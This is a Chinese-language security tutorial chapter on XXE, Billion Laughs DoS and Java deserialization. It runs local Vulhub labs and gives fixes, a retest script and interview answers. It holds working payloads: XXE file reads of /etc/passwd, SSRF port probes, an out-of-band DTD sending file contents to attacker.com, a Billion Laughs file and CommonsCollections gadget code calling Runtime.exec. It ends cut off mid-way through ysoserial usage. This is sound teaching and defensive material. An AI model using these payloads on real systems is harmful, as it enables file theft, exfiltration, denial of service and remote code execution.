这四个漏洞看起来毫不相干(一个权限框架、一个日志库、一个 JSON 库、一个网关), 但它们本质上是同一件事的四种变体:

                    ┌──────────────────────────────────────────┐
                    │  根因:把不可信数据当成「代码/指令」执行  │
                    └──────────────────────────────────────────┘
                                       │
        ┌──────────────┬───────────────┼───────────────┬──────────────┐
        │              │               │               │              │
    数据被当成     数据被当成      数据被当成      数据被当成
    「对象」还原   「JNDI 地址」   「类名」加载    「表达式」求值
        │              │               │               │              │
   Shiro-550       Log4Shell      Fastjson       Spring Cloud
   (rememberMe     (${jndi:ldap://  (@type 指定    Gateway
    Cookie 反序列化)   x/x} 触发)     任意类)      (SpEL 表达式)
        │              │               │               │              │
        └──────────────┴───────────────┴───────────────┴──────────────┘
                                       │
                                  最终结果:RCE

名词解释(这一章会反复出现,先记住):

名词 英文/全称 白话解释 生活类比
RCE Remote Code Execution,远程代码执行 攻击者能在你的服务器上执行任意命令(whoami、rm -rf、开矿机) 相当于把你家钥匙给了陌生人,他不仅能进门,还能翻保险柜
反序列化漏洞 Deserialization Vulnerability 服务器把一段外部传来的二进制数据还原成对象时,数据里藏着“还原过程中请执行这些命令”的指令 你收到一个快递,拆包裹的动作本身触发了炸弹
Gadget Chain 利用链 把 JDK/第三方库里已有的、无害的小方法串成一条链,最终实现 RCE。攻击者不注入新代码,只“指挥”已有代码 用乐高原装零件拼出一把能开锁的钥匙——零件都是正版的,但组合起来是你没想到的
ysoserial 一个开源工具名(作者 Chris Frohoff) 反序列化漏洞的“payload 生成器“,你告诉它用哪条链(CommonsCollections6)和要执行的命令,它输出一段二进制 相当于“炸弹图纸生成器”,输入目标型号和引爆指令,输出成品
CC 链 CommonsCollections Chain 利用 Apache Commons-Collections 库(Java 里极其常用的工具库)拼出来的 Gadget Chain。因为用得多,所以最经典 —
JNDI Java Naming and Directory Interface Java 的一套“按名字查找资源“的接口。你可以查 "java:comp/env/jdbc/db" 拿到数据库连接,也可以查 "ldap://evil.com/x" 去远程下载一个类 像电话查号台:你报名字,它给你号码。但问题是——它可以给你一个外地的、恶意的号码,你还会照着打过去
LDAP / RMI 两种目录/远程调用协议 Log4Shell 里最常被 JNDI 用来“远程取恶意类”的两个协议。ldap:// 是轻量目录访问协议,rmi:// 是 Java 远程方法调用 都是“送货上门”的渠道,只是运输公司不同
XXE XML External Entity,XML 外部实体注入 服务器解析 XML 时,XML 里写了一句“请把 /etc/passwd 这个文件的内容放到这里”,服务器照做了 你让助理“把这份文件里提到的所有附件都取来”,结果附件清单里写着“去档案室把人事档案拿来”
十亿笑 Billion Laughs Attack 一种 DoS 攻击:XML 里定义嵌套实体,一层套一层,展开后占用内存爆炸,服务器直接卡死 一句话:“A 是哈哈,B 是 10 个 A,C 是 10 个 B……“套 9 层就是十亿个”哈“
OOB Out-of-Band,带外 漏洞不会在响应包里直接回显数据,攻击者改用另一种渠道把数据带出来(比如让服务器去请求攻击者的 DNS 服务器,数据藏在域名里) 考试不能说话,但你可以用咳嗽的次数传递答案
SpEL Spring Expression Language Spring 的表达式语言,就是 @Value("#{...}") 和 @PreAuthorize("hasRole('ADMIN')") 里那个 #{...} 一个“能在字符串里写程序”的小引擎
autotype Fastjson 的一个功能 JSON 里写 "@type":"com.xxx.User",Fastjson 就按这个名字去加载类并还原对象 快递单上写“收件人是医生”,快递员就真去找个医生来当收件人

6.1 XXE:XML 也能读文件

6.1.1 先搞懂 XML 的“实体”是什么

XML 有一个功能叫实体(Entity),类似编程语言里的“变量/宏”:

<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY name "朱宏晖">          <!-- 定义一个内部实体,值是固定字符串 -->
]>
<root>
    <user>&name;</user>              <!-- 引用它,等价于 <user>朱宏晖</user> -->
</root>

危险的地方在于:实体不仅能写死字符串,还能用 SYSTEM 关键字指向一个外部资源:

<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">   <!-- 指向服务器本地文件 -->
]>
<root>
    <user>&xxe;</user>                <!-- 这里会变成 /etc/passwd 的全部内容 -->
</root>

这就是 XXE 的全部原理——只有两行。

一句话定义:XXE = 服务器在解析攻击者可控的 XML 时,允许 XML 里通过 SYSTEM 实体引用外部资源, 于是攻击者可以让服务器读本地文件 / 打内网 / 探测端口 / 造成 DoS。

生活类比:

你去政府部门办事,表格上有一栏“附件清单”,工作人员会按清单去档案室把所有附件取来。 你在清单上写“附件 1:市委书记的工资单”。工作人员没多想,就真去取了—— 因为他的工作就是“清单上写什么就去取什么”,他没有“这个不该给你”的判断。

6.1.2 XXE 能干的四件事

能力 payload 关键片段 说明
① 读本地文件 <!ENTITY x SYSTEM "file:///etc/passwd"> 最基础,能读任何运行进程有权限读的文件(源码、配置、密钥)
② SSRF 打内网 <!ENTITY x SYSTEM "http://192.168.1.1/admin"> 让服务器去请求内网地址,结果在响应里回显(比第五章的 SSRF 更狠,因为它自带回显)
③ 探测端口 <!ENTITY x SYSTEM "http://127.0.0.1:3306"> 根据报错信息不同判断端口是否开放(Connection refused vs 超时)
④ DoS 十亿笑(见 6.1.3) 内存爆炸
⑤ OOB 带外 <!ENTITY % x SYSTEM "http://attacker.com/?d=%file;"> 无回显时,把文件内容藏在 URL 里发给攻击者服务器

6.1.3 十亿笑(Billion Laughs):一层套一层的爆炸

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol  "ha">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">          <!-- 10 个 -->
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!-- 100 个 -->
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!-- 1000 个 -->
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!-- 10000 -->
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!-- 10万 -->
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!-- 100万 -->
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!-- 1000万 -->
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!-- 1亿 -->
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> <!-- 10亿 -->
]>
<lolz>&lol9;</lolz>

为什么叫“十亿笑”:&lol9; 展开后是 10 亿个 “ha”,约 2GB 内存(每个 “ha” 在 Java 里作为字符串对象约占 40+ 字节,实际会先 OOM)。

这个文件只有 1KB,却能让服务器 OOM——这就是它的恐怖之处:极小的输入,极大的资源消耗。

名词:DoS / DoS 攻击

DoS(Denial of Service,拒绝服务):让服务器无法为正常用户提供服务。 生活类比:你打不通客服电话,不是因为客服下班了,而是因为有人雇了一千个人同时占着线。 DDoS(Distributed DoS)是加强版:从很多台机器同时发起,所以叫“分布式”。

6.1.4 动手:用 Vulhub 起一个 XXE 靶场(Apache Solr CVE-2017-12629)

名词:Apache Solr —— 一个开源的企业级搜索引擎(基于 Lucene), 很多公司的“站内搜索”“商品搜索”就是它。它用 XML 做配置和数据导入接口。 CVE-2017-12629 是 Solr 的 XML 更新接口存在 XXE。

# 1. 进入 Vulhub 的 Solr XXE 目录
cd ~/vulhub/solr/CVE-2017-12629-RCE      # 注意:这个目录名里带 RCE,因为它能打到 RCE

# 2. 启动(只绑 127.0.0.1!)
docker compose up -d

# 3. 确认起来了
docker compose ps
# 预期输出:
# NAME                        COMMAND                  SERVICE    STATUS    PORTS
# cve-2017-12629-rce-solr-1   "docker-entrypoint.s…"   solr       Up        127.0.0.1:8983->8983/tcp

# 4. 探活
curl -s "http://127.0.0.1:8983/solr/admin/cores?action=STATUS" | head -20
# 预期能看到 JSON,里面有 "name":"demo" 之类的 core 信息

攻击第一步:读文件(有回显)

# 构造 XXE payload:读 /etc/passwd
curl -X POST "http://127.0.0.1:8983/solr/demo/update" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<doc>
  <field name="id">1</field>
</doc>'
# 先确认正常 XML 能提交(预期返回 0 或成功的 JSON)

# 真正的 XXE payload
cat > /tmp/xxe_read.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <id>&xxe;</id>
</root>
EOF

curl -X POST "http://127.0.0.1:8983/solr/demo/update" \
  -H "Content-Type: application/xml" \
  --data-binary @/tmp/xxe_read.xml

预期输出(节选,注意错误信息里泄露了文件内容):

{
  "responseHeader":{"status":400,"QTime":12},
  "error":{
    "msg":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:...",
    "code":400
  }
}

⚠️ 注意这个细节:这个 XXE 不是把内容“返回”给你,而是把内容放进了报错信息里。 这属于报错型 XXE——和 SQL 的报错注入是一个思路:服务器没打算给你看,但它的报错信息里带出来了。

这正是“生产环境必须关闭详细错误回显“的又一个铁证。

攻击第二步:SSRF 打内网(探测端口)

cat > /tmp/xxe_ssrf.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8983/solr/admin/cores?action=STATUS">
]>
<root><id>&xxe;</id></root>
EOF

curl -X POST "http://127.0.0.1:8983/solr/demo/update" \
  -H "Content-Type: application/xml" \
  --data-binary @/tmp/xxe_ssrf.xml

如何通过报错判断端口状态(这是面试常问的“怎么盲打”):

目标端口状态 报错信息特征
开放且返回数据 报错里带回了 HTTP 响应内容
开放但没内容 报错是 XML 解析错误(如 “Content is not allowed in prolog”)
关闭 报错是 Connection refused(连接被拒绝)
被防火墙丢包 请求卡住直到超时,然后报 timeout

这就是一个纯内网的端口扫描器——而且是从服务器内部扫的,绕过了所有外网防火墙。

攻击第三步:OOB 带外(无回显时把数据偷出来)

很多场景下 XXE 没有任何回显(服务器解析完就丢掉了)。这时候要用 OOB:

<!-- 先定义一个"参数实体" %file,内容是 /etc/passwd -->
<!-- 再定义一个外部 DTD(放在攻击者的服务器上) -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root/>

攻击者服务器上的 evil.dtd:

<!-- attacker.com/evil.dtd -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

执行链条(看图更好懂):

① 服务器解析 XML
      │
      ├─② %file = 读 /etc/passwd 的内容(存进内存,还没发出去)
      │
      ├─③ %dtd = 去 attacker.com 下载 evil.dtd(★ 这一步攻击者服务器会收到一条访问日志,证明 XML 被解析了)
      │
      └─④ 执行 evil.dtd 里的 %all,定义 send 实体:
             "去请求 http://attacker.com/?data=<passwd 内容>"
      │
      ⑤ 引用 &send; → 服务器真的发起了这个请求
      │
      ⑥ 攻击者查看自己的 Nginx 访问日志,在 URL 参数里看到了 /etc/passwd 的全部内容

名词:参数实体(Parameter Entity) —— XML 里 %name; 这种带百分号的实体。 它和普通实体 &name; 的区别是:参数实体只能在 DTD 内部使用(就是 <!DOCTYPE [...]> 那个方括号里), 普通实体是在 XML 正文里用。OOB XXE 必须用它,因为要在 DTD 里嵌套定义。

生活类比:普通实体是“发给客户的邮件正文里能用的变量”, 参数实体是“邮件模板内部用的变量“——只有写模板的人能用,收件人看不到。

启动一个本地的“攻击者服务器”来看效果:

# 开一个简易 HTTP 服务(Python),充当 attacker.com
mkdir -p /tmp/attacker && cd /tmp/attacker

cat > evil.dtd <<'EOF'
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000/?data=%file;'>">
%all;
EOF

python3 -m http.server 8000 --bind 0.0.0.0
# 另开一个终端执行 XXE,然后回到这个终端看日志

预期看到的访问日志:

127.0.0.1 - - [04/Sep/2026 02:30:11] "GET /evil.dtd HTTP/1.1" 200 -
127.0.0.1 - - [04/Sep/2026 02:30:11] "GET /?data=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:daemon... HTTP/1.1" 200 -

第二条日志的 data= 后面就是 /etc/passwd 的内容(换行被 URL 编码成 %0A)。 这就是“无回显也能拖数据”的 OOB 技术。

6.1.5 十亿笑 DoS 复现

cat > /tmp/billion.xml <<'EOF'
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "ha">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
EOF

# 观察内存变化(另开终端)
docker stats cve-2017-12629-rce-solr-1

# 发起攻击
curl -X POST "http://127.0.0.1:8983/solr/demo/update" \
  -H "Content-Type: application/xml" \
  --data-binary @/tmp/billion.xml

预期现象:Solr 进程内存飙升、CPU 打满、请求超时,甚至被 Docker 的 OOM Killer 杀掉。

# 验证是否 OOM
docker inspect cve-2017-12629-rce-solr-1 --format '{{.State.OOMKilled}}'
# 输出 true 表示被 OOM 杀掉了

6.1.6 XXE 的修复:三行代码 + 五个配置

❌ 漏洞代码(Java 里最常见的写法)

// ❌ 危险:DocumentBuilderFactory 默认配置在老版本 JDK 上允许外部实体
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));   // ← 直接解析,XXE 生效

✅ 修复代码(生产级,逐行解释)

import javax.xml.XMLConstants;
import javax.xml.parsers.DocumentBuilderFactory;

public Document safeParseXml(String xml) throws Exception {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

    // 【防线 1】完全禁用 DOCTYPE 声明 —— 这一条就能挡住 99% 的 XXE
    // 因为所有 XXE 都必须在 <!DOCTYPE [...] > 里定义外部实体,禁了 DOCTYPE 就无处定义
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

    // 【防线 2】禁用外部实体(纵深防御,防止 JDK 实现差异导致防线 1 失效)
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

    // 【防线 3】禁用外部 DTD(就是 <ENTITY % dtd SYSTEM "http://..."> 那种)
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

    // 【防线 4】禁用 XInclude(另一种加载外部资源的方式,容易被忽略)
    factory.setXIncludeAware(false);

    // 【防线 5】开启安全处理(JDK 的兜底开关,会附带一堆安全默认值)
    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

    // 【防线 6】设置一个"什么也不返回"的 EntityResolver —— 就算前面都漏了,实体也取不到东西
    factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
    factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

    DocumentBuilder builder = factory.newDocumentBuilder();
    // 【防线 7】实体解析器:任何外部实体请求都返回空
    builder.setEntityResolver((publicId, systemId) -> new InputSource(new StringReader("")));

    return builder.parse(new InputSource(new StringReader(xml)));
}

XML 解析库的修复速查表(不同库写法不同,面试常被问到“你用的库怎么防”):

库 修复方式
DocumentBuilderFactory 见上面 7 条防线
SAXParserFactory spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
XMLInputFactory(StAX) factory.setProperty(XMLInputFactory.SUPPORT_DTD, false); + factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
TransformerFactory factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
Validator / SchemaFactory factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
dom4j / JDOM SAXReader reader = new SAXReader(false); 或 reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
Jackson XML XmlMapper 底层是 StAX,配置同上;或干脆 不用 XML 用 JSON

最根本的修复建议:

如果可以,就别用 XML。 新项目一律用 JSON。 JSON 没有“实体”这个概念,天然免疫 XXE。 只有在对接银行、保险、政务这些“老系统只认 XML”的场景才不得不用——那时候上面 7 条防线必须全上。

6.1.7 复测:验证修复是否生效

cat > /tmp/verify_xxe.sh <<'SCRIPT'
#!/bin/bash
# XXE 修复复测脚本
TARGET="${1:-http://127.0.0.1:8080}"   # 换成你修复后的接口地址
XML_EP="${2:-/api/xml/parse}"

pass=0; fail=0
check() {   # check "描述" "期望包含/不包含" "实际响应"
  if echo "$3" | grep -qiF "$2"; then
    echo "  ❌ 未通过:$1 —— 响应里出现了 [$2]"; fail=$((fail+1))
  else
    echo "  ✅ 通过:$1"; pass=$((pass+1))
  fi
}

echo "=== XXE 复测(共 6 项)==="

# 1. 读 /etc/passwd(有回显型)
R=$(curl -s -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
  --data-binary '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>')
check "1. file:///etc/passwd 读文件" "root:x:0:0" "$R"

# 2. 读应用配置文件
R=$(curl -s -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
  --data-binary '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///app/application.yml">]><r>&x;</r>')
check "2. file:// 读 application.yml" "password" "$R"

# 3. SSRF 打内网
R=$(curl -s -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
  --data-binary '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "http://127.0.0.1:8080/actuator/env">]><r>&x;</r>')
check "3. http:// SSRF 打内网" "actuator" "$R"

# 4. 外部 DTD(OOB 的前置条件)
R=$(curl -s -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
  --data-binary '<?xml version="1.0"?><!DOCTYPE r SYSTEM "http://127.0.0.1:8000/evil.dtd"><r/>')
check "4. 加载外部 DTD" "evil" "$R"

# 5. 十亿笑 DoS —— 检查响应时间是否异常(超过 5 秒说明还在解析)
START=$(date +%s)
curl -s -m 10 -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
  --data-binary @/tmp/billion.xml > /dev/null 2>&1
END=$(date +%s)
if [ $((END-START)) -gt 5 ]; then
  echo "  ❌ 未通过:5. 十亿笑 DoS —— 耗时 $((END-START)) 秒(说明仍在展开实体)"; fail=$((fail+1))
else
  echo "  ✅ 通过:5. 十亿笑 DoS(耗时 $((END-START)) 秒,被快速拒绝)"; pass=$((pass+1))
fi

# 6. 正常 XML 仍要能用(防止"修过头"把功能搞坏了)
R=$(curl -s -X POST "$TARGET$XML_EP" -H 'Content-Type: application/xml' \
  --data-binary '<?xml version="1.0"?><root><id>123</id></root>')
if echo "$R" | grep -qE "123|success|\"code\":200"; then
  echo "  ✅ 通过:6. 正常 XML 业务功能未被破坏"; pass=$((pass+1))
else
  echo "  ❌ 未通过:6. 正常 XML 被误杀(响应:$R)"; fail=$((fail+1))
fi

echo ""
echo "结果:通过 $pass / 6,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 XXE 修复验证通过" || echo "⚠️  还有 $fail 项没修好"
SCRIPT
chmod +x /tmp/verify_xxe.sh

注意第 6 项:这是很多人忽略的——修安全不能把业务修坏。 我见过有团队为了防 XXE 直接把 XML 接口下线,结果下游对接收不了。

6.1.8 面试怎么讲(30 秒口述版)

“XXE 是 XML 外部实体注入。原理是 XML 规范允许在 DOCTYPE 里用 SYSTEM 关键字定义外部实体, 服务器解析时会真的去加载这个资源。攻击者就写 file:///etc/passwd 读文件, 写 http://内网IP 打内网,甚至通过嵌套实体做十亿笑 DoS。

我们项目之前用 dom4j 解析上游推送的 XML,我做了代码审计发现没有禁用外部实体, 就补了三层防护:第一层 disallow-doctype-decl 直接禁掉 DOCTYPE, 第二层禁用外部通用实体和参数实体,第三层加了一个返回空的 EntityResolver 兜底。 另外新接口我们一律改成 JSON,从根上不会出这个问题。

顺便提一句,XXE 能打内网这一点比读文件更危险,因为它从内部绕过了所有外网防火墙, 所以我们还限制了应用进程的网络出站,只允许访问白名单地址。“

追问准备:

追问 怎么答
“十亿笑和 XXE 是一回事吗?” 不是。十亿笑是利用 XXE 的实体嵌套机制做 DoS,属于 XXE 的一种利用方式,不是漏洞本身
“JSON 有没有类似 XXE 的问题?” JSON 没有实体机制,天然安全。但 YAML 有——snakeyaml 的 !!javax.script.ScriptEngineManager 能 RCE,原理和反序列化类似
“怎么快速判断一个系统有没有 XXE?” 找所有接收 XML 的接口(SOAP、WebService、文件上传里的 Excel/docx 本质是 zip+xml、SVG 图片也是 XML),发一个带外 DTD 的 payload,看自己的 DNS/HTTP 服务器有没有收到请求
“docx/xlsx 会触发 XXE 吗?” 会! 它们是 zip 包,里面全是 XML。如果用户上传的 docx 被服务端用 XML 解析器处理(比如 POI 读内容),就能触发。这也是“文件上传”和“XXE”的交汇点

6.2 Java 反序列化:为什么“还原对象”能执行代码

6.2.1 先理解序列化在干什么

序列化(Serialization):把内存里的 Java 对象变成一串字节,方便存到文件/Redis/网络传输。 反序列化(Deserialization):把这串字节还原成对象。

// 序列化:对象 → 字节
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(new User("朱宏晖", 18));      // 写进去
byte[] bytes = bos.toByteArray();
// bytes 大概长这样(十六进制):
// aced0005 7372 0018 636f 6d2e 6465 6d6f 2e55 7365 72 ...
//  ↑ ↑        ↑   ↑
//  │ │        │   └─ 类名长度 0x18=24
//  │ │        └─ TC_OBJECT 标记
//  │ └─ 流版本号 5
//  └─ 魔数(Magic Number),Java 序列化流的固定开头,看到 aced 就知道是 Java 序列化数据

// 反序列化:字节 → 对象
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
User u = (User) ois.readObject();              // ★ 危险就在这里

魔数 aced 0005 的实战意义:

任何时候你在 HTTP 请求体、Redis、Cookie、消息队列里看到 aced0005 或者 base64 后的 rO0AB, 就说明这里有 Java 原生序列化数据存在——也就意味着可能存在反序列化漏洞。 这是红队最常用的“探测指纹”。

记忆口诀:“看到 rO0AB,先想反序列化”。

6.2.2 漏洞的根因:readObject() 是“自动执行”的

关键问题:为什么还原一个数据能执行代码?

答案藏在 readObject() 里。当你在类里自定义 readObject 方法时,反序列化会自动调用它:

public class User implements Serializable {
    private String name;

    // ★ 反序列化时,JVM 会自动调用这个方法(不需要你显式调用!)
    private void readObject(ObjectInputStream in) throws Exception {
        in.defaultReadObject();                    // 先按默认规则还原字段
        Runtime.getRuntime().exec("calc");         // 然后……执行任意命令
    }
}

但现实中没人会这么写代码。所以攻击者要面临一个问题: 目标服务器上没有我写的恶意类,我怎么让它执行我的命令?

答案就是 Gadget Chain(利用链)。

6.2.3 Gadget Chain:用“正版零件”拼出的钥匙

生活类比(重要,面试就讲这个):

假设有一个酒店机器人,它只会做一件死板的事: “收到一张指令卡,就按卡上的步骤做”。 机器人本身是安全的(它不会自己做坏事),指令卡是客人写的。

正常指令卡:[去前台] → [取房卡] → [送到 302 房]

但酒店里还有这些“正版的、合法的服务”:

  • 服务 A:打电话给任意号码(本来用于叫醒服务)
  • 服务 B:从任意房间取东西(本来用于送餐)
  • 服务 C:打开任意房间的门(本来用于保洁)

攻击者写的指令卡:[打电话给 110 说 302 房有炸弹] → [等所有人撤离] → [打开 302 房] → [取走保险柜]

机器人执行的每一步都是“合法的服务”,但组合起来就是一次完美的犯罪。 你不能怪任何一个单独的服务不安全——问题在于机器人不该执行客人写的任意指令。

放到 Java 里:

类比 Java 对应
酒店机器人 JVM 的反序列化机制(ObjectInputStream.readObject())
指令卡 攻击者构造的序列化字节流
正版服务 A/B/C Apache Commons-Collections 里的 InvokerTransformer、ChainedTransformer、TransformedMap 等正常类
犯罪 最终调用 Runtime.getRuntime().exec(cmd)

最关键的一句话(面试原话背下来):

反序列化漏洞里,攻击者没有往服务器上“注入”任何新代码。 他只是精心构造了一段数据,让服务器上已经存在的、合法的、人畜无害的类, 按照他设计的顺序被调用,最后凑巧拼出了 Runtime.exec()。 所以这类漏洞无法通过“我不写危险代码”来避免——漏洞在你的依赖库里。

6.2.4 CommonsCollections 链拆解(CC1 链,逐层看懂)

这是最经典的一条链。我把它拆到最细,你面试时讲这个会非常加分。

链上的四个“零件”(都来自 commons-collections 库):

// 【零件 1】InvokerTransformer —— 核心武器
// 作用:通过"反射"调用任意对象的任意方法
// 通俗说:它把 "方法名" 当成数据存起来,需要时再执行
Transformer t = new InvokerTransformer(
    "exec",                          // 要调用的方法名
    new Class[]{String.class},       // 方法参数类型
    new Object[]{"whoami"}           // 方法参数值
);
t.transform(Runtime.getRuntime());   // 等价于 Runtime.getRuntime().exec("whoami")

名词:反射(Reflection) —— Java 的一种机制,允许程序在运行时根据“方法名的字符串”去调用方法。 正常情况下你写代码 obj.exec("whoami") 是编译期就确定的;反射是 obj.getClass().getMethod("exec") 这样运行时才查。 反射的危险性:一旦“方法名”可以被外部数据控制,就等价于“可以调用任何方法”。

// 【零件 2】ChainedTransformer —— 把多个零件串成链
// 作用:把若干 Transformer 串起来,前一个的输出作为后一个的输入
Transformer[] chain = new Transformer[]{
    new ConstantTransformer(Runtime.class),                 // ① 产出 Runtime.class 这个对象
    new InvokerTransformer("getMethod",                     // ② 反射拿到 Runtime.getRuntime 方法
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",                        // ③ 调用它,拿到 Runtime 实例
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",                          // ④ 执行 exec
        new Class[]{String.class},
        new Object[]{"calc"})
};
Transformer chained = new ChainedTransformer(chain);
chained.transform(null);    // 一条链跑完,计算器弹出来了

为什么要绕这么大弯(①②③④ 四步)? 因为 Runtime 这个类没有实现 Serializable(不能被序列化), 攻击者没法直接把一个 Runtime 实例塞进序列化数据里。 所以只能存 Runtime.class(Class 对象是可以序列化的), 然后在反序列化过程中用反射一步步把它“激活”。 这个“曲线救国”的设计,正是反序列化漏洞最有技术含量的地方。

// 【零件 3】TransformedMap / LazyMap —— 触发器
// 作用:当这个 Map 被"修改"(put)时,自动调用上面那条链
Map inner = new HashMap();
Map outer = TransformedMap.decorate(inner, null, chained);
outer.put("key", "value");   // ★ 只要 put 一次,整条链就跑了
// 【零件 4】AnnotationInvocationHandler —— 入口(Entry Point)
// 作用:JDK 自带的类,它的 readObject() 方法里会对 Map 做 put 操作
// 于是:反序列化 → 自动调用 readObject → 自动 put → 自动触发链 → RCE

完整链条图:

攻击者构造序列化数据
        │
        ▼
ObjectInputStream.readObject()
        │
        ▼
AnnotationInvocationHandler.readObject()        ← JDK 自带类,反序列化自动调用
        │  (它的 readObject 里会 memberValues.setValue(...))
        ▼
TransformedMap.setValue() / LazyMap.get()       ← commons-collections 的类
        │  (装饰器的特性:修改 Map 时自动调用 transform)
        ▼
ChainedTransformer.transform()                  ← 开始跑链
        │
        ├─① ConstantTransformer → 产出 Runtime.class
        ├─② InvokerTransformer  → Runtime.class.getMethod("getRuntime")
        ├─③ InvokerTransformer  → invoke() → 得到 Runtime 实例
        └─④ InvokerTransformer  → Runtime.exec("calc")
        │
        ▼
    💥 RCE

为什么用 AnnotationInvocationHandler 当入口? 因为它满足三个条件:① 是 JDK 自带的(每台机器都有,不需要额外依赖); ② 实现了 Serializable;③ 它的 readObject() 里会自动对 Map 做操作。 这三条合起来,它就成了完美的“导火索”。

名词:Entry Point / 入口点 —— 利用链的“第一张多米诺骨牌”。 它必须满足“反序列化时会被自动调用”,通常是 readObject()、readResolve()、hashCode()、equals()、toString() 这类隐式调用的方法。

6.2.5 动手:用 ysoserial 生成 payload

ysoserial 是什么:反序列化 payload 的“生成器”。你告诉它:

  • 用哪条链(CommonsCollections1、CommonsCollections6、CommonsBeanutils1…)
  • 要执行什么命令(bash -c '...')

它输出一段二进制字节流,你把它发给目标,就 RCE 了。

# 下载(如果第一章没装)
mkdir -p ~/tools && cd ~/tools
curl -L -o ysoserial.jar \
  "https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
ls -lh ysoserial.jar     # 预期 ~40MB

# 看看它支持哪些链
java -jar ysoserial.jar
# 输出(节选):
#   Payload             Authors                    Dependencies
#   ------             -------                    ------------
